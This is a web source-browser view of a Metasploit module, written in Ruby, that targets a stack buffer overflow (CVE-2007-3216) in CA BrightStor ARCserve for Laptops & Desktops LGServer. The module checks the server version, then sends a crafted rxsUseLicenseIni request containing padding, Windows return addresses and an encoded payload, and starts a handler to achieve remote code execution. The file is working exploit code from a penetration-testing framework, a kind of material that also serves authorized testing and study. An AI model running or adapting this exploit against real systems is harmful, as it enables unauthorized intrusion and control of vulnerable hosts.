Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / brightstor / lgserver_rxsuselicenseini.rb @ master

History | View | Annotate | Download (2.2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
24
                                for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
25
                                attacker could overflow the buffer and execute arbitrary code.
26
                        },
27
                        'Author'         => [ 'MC' ],
28
                        'License'        => MSF_LICENSE,
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE', '2007-3216' ],
33
                                        [ 'OSVDB', '35329' ],
34
                                        [ 'BID', '24348' ],
35
                                ],
36
                        'Privileged'     => true,
37
                        'DefaultOptions' =>
38
                                {
39
                                        'EXITFUNC' => 'process',
40
                                },
41
                        'Payload'        =>
42
                                {
43
                                        'Space'    => 700,
44
                                        'BadChars' => "\x00",
45
                                        'StackAdjustment' => -3500,
46
                                },
47
                        'Platform' => 'win',
48
                        'Targets'  =>
49
                                [
50
                                        [ 'Windows 2003 SP0 English',        { 'Ret' => 0x71ae1f9b } ],
51
                                        [ 'Windows 2000 SP4 English',        { 'Ret' => 0x75031dce } ],
52
                                ],
53
                        'DisclosureDate' => 'Jun 6 2007',
54
                        'DefaultTarget' => 0))
55

    
56
                register_options([ Opt::RPORT(1900) ], self.class)
57
        end
58

    
59
        def check
60
                connect
61

    
62
                sock.put("0000000019rxrGetServerVersion")
63
                ver = sock.get_once
64

    
65
                disconnect
66

    
67
                if ( ver =~ /11.1.742/ )
68
                                return Exploit::CheckCode::Vulnerable
69
                end
70

    
71
                return Exploit::CheckCode::Safe
72
        end
73

    
74
        def exploit
75
                connect
76

    
77
                data  = rand_text_alpha_upper(4108) + [target.ret].pack('V')
78
                data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)
79

    
80
                sploit  = "0000004820"         # Command Length Field
81
                sploit << "rxsUseLicenseIni"   # RPC Command
82
                sploit << "~~"                 # Constant Argument Delimiter
83
                sploit << data
84

    
85
                print_status("Trying target #{target.name}...")
86
                # One-shot overwrite...
87
                sock.put(sploit)
88

    
89
                handler
90
                disconnect
91
        end
92

    
93
end